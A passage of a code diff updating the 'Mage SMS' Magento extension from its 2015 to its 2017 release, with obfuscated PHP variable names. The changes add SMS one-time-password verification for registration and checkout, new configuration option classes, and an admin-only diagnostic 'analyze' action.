$if63180c174f143cf7a7c15db835b3c86c46375ad) { return $if63180c174f143cf7a7c15db835b3c86c46375ad; } return Mage::getModel('magesms/smsuser'); } }
app/code/community/Topefekt/Magesms/Model/Smsuser.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Smsuser extends Mage_Core_Model_Abstract { private $v118dc8155ded98699a33772a9cd69781e93a4065; protected function _construct() { $this->_init('magesms/smsuser'); } public function validate() { $ieeea3fa58a065e13acdb42aab551831a98e9444c = array(); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); if ($this->getData('deliveryemail') && !Zend_Validate::is($this->getData('deliveryemail'), 'EmailAddress')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid e-mail'); } if (!Zend_Validate::is($this->getData('email'), 'EmailAddress')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid e-mail'); } if (!$this->getId() && $this->getData('agree', 0) != 1) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('You have to agree with licence terms.'); } if (empty($ieeea3fa58a065e13acdb42aab551831a98e9444c)) { return true; } return $ieeea3fa58a065e13acdb42aab551831a98e9444c; } public function _afterSave() { if ($this->getOrigData('country0') != $this->getCountry0()) { Mage::getModel('magesms/routes')->updatepricelist(); } return parent::_afterSave(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Smsuser extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/smsuser'); } public function validate() { $ieeea3fa58a065e13acdb42aab551831a98e9444c = array(); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); if ($this->getData('deliveryemail') && !Zend_Validate::is($this->getData('deliveryemail'), 'EmailAddress')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid e-mail'); } if (!Zend_Validate::is($this->getData('email'), 'EmailAddress')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('Invalid e-mail'); } if (!$this->getId() && $this->getData('agree', 0) != 1) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('You have to agree with licence terms.'); } if (empty($ieeea3fa58a065e13acdb42aab551831a98e9444c)) { return true; } return $ieeea3fa58a065e13acdb42aab551831a98e9444c; } public function _afterSave() { if ($this->getOrigData('country0') != $this->getCountry0()) { Mage::getModel('magesms/routes')->updatepricelist(); } Mage::getModel('core/config')->saveConfig('magesms/user/deliveryReportsErrorOnly', $this->getData('deliveryReportsErrorOnly')); return parent::_afterSave(); } protected function _afterLoad() { $this->setData('deliveryReportsErrorOnly', Mage::getStoreConfig('magesms/user/deliveryReportsErrorOnly')); return parent::_afterLoad(); } }
app/code/community/Topefekt/Magesms/Model/System/Config/Connector.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_System_Config_Connector { public function toOptionArray() { return array( array( 'value' => '', 'label' => 'Auto (SSL priority)', ), array( 'value' => 'ssl', 'label' => 'fsockopen (SSL)', ), array( 'value' => 'curl-ssl', 'label' => 'CURL (SSL)', ), array( 'value' => 'no-ssl', 'label' => 'fsockopen (no-SSL)', ), array( 'value' => 'curl', 'label' => 'CURL (no-SSL)', ), ); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_System_Config_Connector { public function toOptionArray() { return array( array( 'value' => '', 'label' => Mage::helper('magesms')->__('Auto (SSL priority)'), ), array( 'value' => 'ssl', 'label' => Mage::helper('magesms')->__('fsockopen (SSL)'), ), array( 'value' => 'curl-ssl', 'label' => Mage::helper('magesms')->__('CURL (SSL)'), ), array( 'value' => 'no-ssl', 'label' => Mage::helper('magesms')->__('fsockopen (no-SSL)'), ), array( 'value' => 'curl', 'label' => Mage::helper('magesms')->__('CURL (no-SSL)'), ), ); } }
app/code/community/Topefekt/Magesms/Model/System/Config/Customergroups.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_System_Config_Customergroups { protected $_options; public function toOptionArray() { if (!$this->_options) { $this->_options = Mage::getResourceModel('customer/group_collection') ->loadData()->toOptionArray(); } return $this->_options; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_System_Config_Customergroups { protected $_options; public function toOptionArray() { if (!$this->_options) { $this->_options = Mage::getResourceModel('customer/group_collection') ->loadData()->toOptionArray(); } return $this->_options; } }
app/code/community/Topefekt/Magesms/Model/System/Config/Lang.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_System_Config_Lang { public function toOptionArray() { return array( array( 'value' => 'cz', 'label' => 'Czech', ), array( 'value' => 'de', 'label' => 'German', ), array( 'value' => 'el', 'label' => 'Greek', ), array( 'value' => 'en', 'label' => 'English', ), array( 'value' => 'es', 'label' => 'Spanish', ), array( 'value' => 'fr', 'label' => 'French', ), array( 'value' => 'it', 'label' => 'Italian', ), array( 'value' => 'pl', 'label' => 'Polish', ), array( 'value' => 'pt', 'label' => 'Portuguese', ), array( 'value' => 'ru', 'label' => 'Russian', ), array( 'value' => 'sk', 'label' => 'Slovak', ), array( 'value' => 'sr', 'label' => 'Serbian', ), array( 'value' => 'sv', 'label' => 'Swedish', ), array( 'value' => 'tr', 'label' => 'Turkish', ), ); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_System_Config_Lang { public function toOptionArray() { return array( array( 'value' => 'cz', 'label' => 'Czech', ), array( 'value' => 'de', 'label' => 'German', ), array( 'value' => 'el', 'label' => 'Greek', ), array( 'value' => 'en', 'label' => 'English', ), array( 'value' => 'es', 'label' => 'Spanish', ), array( 'value' => 'fr', 'label' => 'French', ), array( 'value' => 'it', 'label' => 'Italian', ), array( 'value' => 'pl', 'label' => 'Polish', ), array( 'value' => 'pt', 'label' => 'Portuguese', ), array( 'value' => 'ru', 'label' => 'Russian', ), array( 'value' => 'sk', 'label' => 'Slovak', ), array( 'value' => 'sr', 'label' => 'Serbian', ), array( 'value' => 'sv', 'label' => 'Swedish', ), array( 'value' => 'tr', 'label' => 'Turkish', ), ); } }
app/code/community/Topefekt/Magesms/Model/System/Config/OtpType.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_System_Config_OtpType { public function toOptionArray() { return array( array( 'value' => 0, 'label' => Mage::helper('magesms')->__('Digits'), ), array( 'value' => 1, 'label' => Mage::helper('magesms')->__('Characters'), ), ); } }
app/code/community/Topefekt/Magesms/Model/System/Config/SmsvalidCheckoutType.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_System_Config_SmsvalidCheckoutType { public function toOptionArray() { return array( array( 'value' => 0, 'label' => Mage::helper('magesms')->__('Disabled'), ), array( 'value' => 1, 'label' => Mage::helper('magesms')->__('Verification Guest and Registration'), ), array( 'value' => 2, 'label' => Mage::helper('magesms')->__('Verification only Registration'), ), array( 'value' => 3, 'label' => Mage::helper('magesms')->__('Verification only Guest'), ), ); } }
app/code/community/Topefekt/Magesms/Model/System/Config/SmsvalidCustomerType.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_System_Config_SmsvalidCustomerType { public function toOptionArray() { return array( array( 'value' => 0, 'label' => Mage::helper('magesms')->__('Disabled'), ), array( 'value' => 1, 'label' => Mage::helper('magesms')->__('OTP before registration').' (redirect)', ), array( 'value' => 2, 'label' => Mage::helper('magesms')->__('OTP insert into registration form').' (popup)', ), ); } }
app/code/community/Topefekt/Magesms/Model/System/Config/SmsvalidOrderType.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_System_Config_SmsvalidOrderType { public function toOptionArray() { return array( array( 'value' => 0, 'label' => Mage::helper('magesms')->__('Disabled'), ), array( 'value' => 1, 'label' => Mage::helper('magesms')->__('Enabled'), ), ); } }
app/code/community/Topefekt/Magesms/Model/Template.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Template extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/template'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Template extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/template'); } }
app/code/community/Topefekt/Magesms/Model/Textsender.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Textsender extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/textsender'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Textsender extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/textsender'); } }
app/code/community/Topefekt/Magesms/Model/Variables.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Variables extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/variables'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Variables extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/variables'); } }
app/code/community/Topefekt/Magesms/controllers/AccountController.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ require_once (Mage::getModuleDir('controllers','Mage_Customer').DS.'AccountController.php'); class Topefekt_Magesms_AccountController extends Mage_Customer_AccountController { public function createAction() { if (!Mage::helper('magesms')->isActive() || !Mage::helper('magesms')->getOtpCustomerType()) return parent::createAction(); if ($this->_getSession()->isLoggedIn()) { $this->_redirect('*/*'); return $this; } if (Mage::helper('magesms')->getOtpCustomerType() == 1) { $i0e3e80cee9c51f140b823db0b7df66493acca657 = $this->_getSession(); if ($i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate') && $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_time') >= time()-Mage::getStoreConfig('magesms/smsvalid/session_lifetime')) return parent::createAction(); $this->_redirect('magesms/validate/mobile'); return $this; } $i0e3e80cee9c51f140b823db0b7df66493acca657 = $this->_getSession(); if (!$i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code') || $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_time') <= time()-Mage::getStoreConfig('magesms/smsvalid/code_lifetime')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_code', Mage::helper('magesms')->getOtpRandCode()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', false); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); } $this->loadLayout(); $this->getLayout()->getBlock('head')->addJs('topefekt/smsvalid.js'); $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 = 'var magesmsValidUrl = "'.Mage::getUrl('magesms/validate/customer', array('_secure' => true)).'";'; $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 .= "Translator.add('OTP SMS','".Mage::helper('magesms')->__('OTP SMS')."');"; $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('core/text', 'magesmsvalid')->setText(Mage::helper('core/js')->getScript($i3358fd35282548f1f8ccafbf23d60a4ade466fd3)); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->_initLayoutMessages('customer/session'); $this->renderLayout(); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/AboutController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Adminhtml_Magesms_AboutController extends Topefekt_Magesms_Controller_Action { public function preDispatch() { return Mage_Adminhtml_Controller_Action::preDispatch(); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Mage_Core_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/about.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/about') ->_title(Mage::helper('magesms')->__('About')); ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/about'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Adminhtml_Magesms_AboutController extends Topefekt_Magesms_Controller_Action { public function preDispatch() { return Mage_Adminhtml_Controller_Action::preDispatch(); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Mage_Core_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/about.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); if (Mage::app()->getRequest()->getParam('analyze') == Mage::getConfig()->getModuleConfig('Topefekt_Magesms')->version) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = '<!-- magesmsAnalyze: ' . Mage::helper("adminhtml")->getUrl('*/*/analyze') . ' -->'; $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('core/text', 'magesmsvalid')->setText($id82aaf2f437652c4b6efbd55703199f614e8e516); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); } $this->renderLayout(); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/about') ->_title(Mage::helper('magesms')->__('About')); ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/about'); } public function analyzeAction() { Mage::getModel('magesms/api')->analyze(); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/AdminsmsController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Adminhtml_Magesms_AdminsmsController extends Topefekt_Magesms_Controller_Action { private $v2b483c223d472d1fb22c9823dcc35f84765b2c06 = array(); public function _construct() { parent::_construct(); $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06 = new Varien_Data_Collection(); $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->addItem(new Varien_Object( array( 'group' => 'order_status', 'name' => 'Order status', 'icon' => 'magesms/AdminOrders.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'order', 'name' => 'Order', 'icon' => 'magesms/AdminOrders.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'account', 'name' => 'Account', 'icon' => 'magesms/AdminCustomers.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'product', 'name' => 'Product', 'icon' => 'AdminCatalog.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'contactform', 'name' => 'Contact form', 'icon' => 'AdminCatalog.gif' ) )); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/adminsms.phtml') ); foreach ($this->v2b483c223d472d1fb22c9823dcc35f84765b2c06 as $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc) { $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->setHooks(Mage::helper('magesms')->getHooks($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc['group'], 'admins')); } $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Data_Collection(); Mage::dispatchEvent('topefekt_magesms_adminsms_groups', array('groups' => $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a)); foreach ($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a as $i4abcdb69150d2b99477ddace90c2020fb244c4f6) { if ($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getGroup() && !$this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->getItemByColumnValue('group', $i4abcdb69150d2b99477ddace90c2020fb244c4f6->getGroup())) { $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->addItem($i4abcdb69150d2b99477ddace90c2020fb244c4f6); } else { foreach($i4abcdb69150d2b99477ddace90c2020fb244c4f6->getHooks() as $i42ee48f418943c9662de0976069476c7dc8f620d) { if ($i42ee48f418943c9662de0976069476c7dc8f620d->getName() && ($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc = $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->getItemByColumnValue('group', $i42ee48f418943c9662de0976069476c7dc8f620d->getGroup()))) { $ib621bf9fa69ea2cdc5a9bc8679d915479caec16a = $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->getHooks(); $ib621bf9fa69ea2cdc5a9bc8679d915479caec16a[$i42ee48f418943c9662de0976069476c7dc8f620d->getName()] = $i42ee48f418943c9662de0976069476c7dc8f620d; $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->setHooks($ib621bf9fa69ea2cdc5a9bc8679d915479caec16a); } } } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setGroups($this->v2b483c223d472d1fb22c9823dcc35f84765b2c06); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function saveunicodeAction() { $i7137e40370cf1c5ccf937060891613788203e2d6 = 'default'; $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode') ->getCollection() ->addFilter('area', $i7137e40370cf1c5ccf937060891613788203e2d6) ->addFilter('type', 'admin') ->getFirstItem(); if (!count($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getData())) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setArea($i7137e40370cf1c5ccf937060891613788203e2d6); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setType('admin'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($this->getRequest()->getParam('unicode' , 0)); } else { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($this->getRequest()->getParam('unicode' , 0)); } $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->save(); Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Unicode was saved.')); $this->_redirect('*/*/'); return $this; } public function savehookAction() { $i30f20aafde612a957f7f966cb5b85e35782bc88a = $this->getRequest()->getParam('type'); $i2bd9743336318d0e14be0600c9129730279505dd = $this->getRequest()->getParam('name'); $i24273814df383b4a6926acc1db1a788b12f5a411 = $this->getRequest()->getParam('text' , ''); $id2202a8a92e3022b2b00717b92bc918373dc2edc = $this->getRequest()->getParam('plugin'); if ($i30f20aafde612a957f7f966cb5b85e35782bc88a && $i2bd9743336318d0e14be0600c9129730279505dd && $i24273814df383b4a6926acc1db1a788b12f5a411) { if ($id2202a8a92e3022b2b00717b92bc918373dc2edc) { Mage::dispatchEvent('topefekt_magesms_adminsms_save'); } else { $if739aceffec69fa2733946a3d319defaa354082d = Mage::getSingleton('magesms/hooks_'.$i30f20aafde612a957f7f966cb5b85e35782bc88a) ->getCollection() ->addFilter('name', $i2bd9743336318d0e14be0600c9129730279505dd); foreach($if739aceffec69fa2733946a3d319defaa354082d as $i42ee48f418943c9662de0976069476c7dc8f620d) { $i42ee48f418943c9662de0976069476c7dc8f620d->delete(); } foreach($this->getRequest()->getParams() as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$iacbd1c78463510856e506611fe14b5e1173581a6) { if (strpos($i670253c23c6fcba76bc4256a88fdd8fbc1041039, 'active_') === 0) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = explode('_', $i670253c23c6fcba76bc4256a88fdd8fbc1041039); $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getModel('magesms/hooks_'.$i30f20aafde612a957f7f966cb5b85e35782bc88a) ->setName($i2bd9743336318d0e14be0600c9129730279505dd) ->setSmstext($i24273814df383b4a6926acc1db1a788b12f5a411) ->setAdminId($ia61712c27ea241bd7a543dc2b02ea572274d0322[2]) ->setStoreGroupId($ia61712c27ea241bd7a543dc2b02ea572274d0322[3]) ->save(); } else { continue; } } } Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Text of SMS was saved.')); } $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = array('_fragment' => $i2bd9743336318d0e14be0600c9129730279505dd); $this->_redirect('*/*/', $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a); return $this; } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/adminsms') ->_title(Mage::helper('magesms')->__('Admin SMS')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/adminsms'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Adminhtml_Magesms_AdminsmsController extends Topefekt_Magesms_Controller_Action { private $v2b483c223d472d1fb22c9823dcc35f84765b2c06 = array(); public function _construct() { parent::_construct(); $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06 = new Varien_Data_Collection(); $this->v2b483c223d472d1fb22c9823dcc35f84765b2c06->addItem(new Varien_Object( array( 'group' => 'order_status', 'name' => 'Order status', 'icon' => 'magesms/AdminOrders.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'order', 'name' => 'Order', 'icon' => 'magesms/AdminOrders.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'account', 'name' => 'Account', 'icon' => 'magesms/AdminCustomers.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'product', 'name' => 'Product', 'icon' => 'AdminCatalog.gif' ) ))->addItem(new Varien_Object( array( 'group' => 'contactform', 'name' => 'Contact form', 'icon' => 'AdminCatalog.gif' ) )); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/adminsms.phtml') ); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); foreach ($this->v2b483c223d472d1fb22c9823dcc35f84765b2c06 as $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc) { $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->setHooks($i0d09b2a4f282150bf47b02f9f3d82586fe313844->getHooks($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc['group'], 'admins')); foreach ($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc->getHooks() as $i42ee48f418943c9662de0976069476c7dc8f620d) { $i42ee48f418943c9662de0976069476c7dc8f620d->setNotice(str_replace(', {shop_phone}', ', {shop_phone}, {admin_name}, {admin_phone}', $i42ee48f418943c9662de0976069476c7dc8f620d->getNotice())); } } $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Data_Collection(); 